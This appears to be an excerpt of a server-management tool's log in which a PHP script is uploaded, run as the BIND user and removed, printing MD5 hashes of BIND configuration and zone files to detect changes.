MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:04:08: Establishing a connection
2026-04-24 16:04:09: 

PUT: /tmp/pkp676965

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:04:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp676965; rm /tmp/pkp676965'

2026-04-24 16:04:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:04:11: Establishing a connection
2026-04-24 16:04:11: 

PUT: /tmp/pkp293295

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:04:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp293295; rm /tmp/pkp293295'

2026-04-24 16:04:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
